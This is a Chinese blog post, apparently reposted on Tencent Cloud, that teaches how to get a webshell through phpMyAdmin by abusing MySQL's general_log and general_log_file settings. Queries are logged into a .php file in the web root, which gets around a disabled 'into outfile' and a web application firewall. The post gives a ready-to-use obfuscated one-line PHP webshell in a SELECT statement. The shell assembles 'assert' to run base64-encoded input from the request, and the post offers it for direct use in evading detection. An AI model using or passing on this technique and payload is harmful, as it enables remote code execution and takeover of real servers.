前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >phpmyadmin新姿势getshell

phpmyadmin新姿势getshell

作者头像
奶糖味的代言
发布2018-04-16 12:02:00
1.6K0
发布2018-04-16 12:02:00
举报
文章被收录于专栏:小白安全小白安全

在一个有WAF、并且mysql中的Into outfile禁用的情况下,我该如何getshell? 首先环境如下:

  • OS:Windows 2003
  • WAF:Safe Dog 4.0正式版
  • phpmyadmin:4.7(许多都可以)
  • Mysql:5.5+
  • PHP:5.3
  • Apache:2.x

目前

代码语言:javascript
复制
into outfile

已经被禁用,并且WAF也会在写入文件的时候拦截。 那么我们尝试通过一个脑洞大开的方法去getshell。

代码语言:javascript
复制
(必须是mysql root权限)

登录phpmyadmin后,查看全局变量: 找到

代码语言:javascript
复制
general log file

这里是存储了每一个sql语句执行的日志(包含SQL语句本身)

但是

代码语言:javascript
复制
general log

变量必须是ON状态,代表启用。

此时我们把

代码语言:javascript
复制
general log

开启为

代码语言:javascript
复制
ON

,然后再去更改

代码语言:javascript
复制
general log file

的地址为我们的

代码语言:javascript
复制
webshell

绝对路径。

在每一次更改

代码语言:javascript
复制
general log file

的时候mysql都会判断日志文件是否存在,如果不存在则会自动创建。

此时该文件已经创建,并且文件内容保存了最后一条SQL语句的日志信息。

代码语言:javascript
复制
MySQLa, Version: 5.5.53 (MySQL Community Server (GPL)). started with:
TCP Port: 3306, Named Pipe: MySQL
Time Id Command Argument
121 Query SHOW GLOBAL VARIABLES WHERE Variable_name="general_log_file"
121 Quit

接下来,我们直接随意查询SQL,每一句都会被写入这个shell.php

由于有WAF,我们采用远程包含的形式来运行webshell。 在我们的远程地址里,放置函数名,使服务器端访问它,然后加载到内存,直接去调用此函数,再去接收我们提交的php代码。

关于菜刀免杀,请看上一篇文章。 下面再附上一个SQL查询免杀shell的语句,方便大家遇到此类情况直接利用:

代码语言:javascript
复制
SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['username']));?>"

可见这边并没有拦截:

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
云数据库 SQL Server
腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档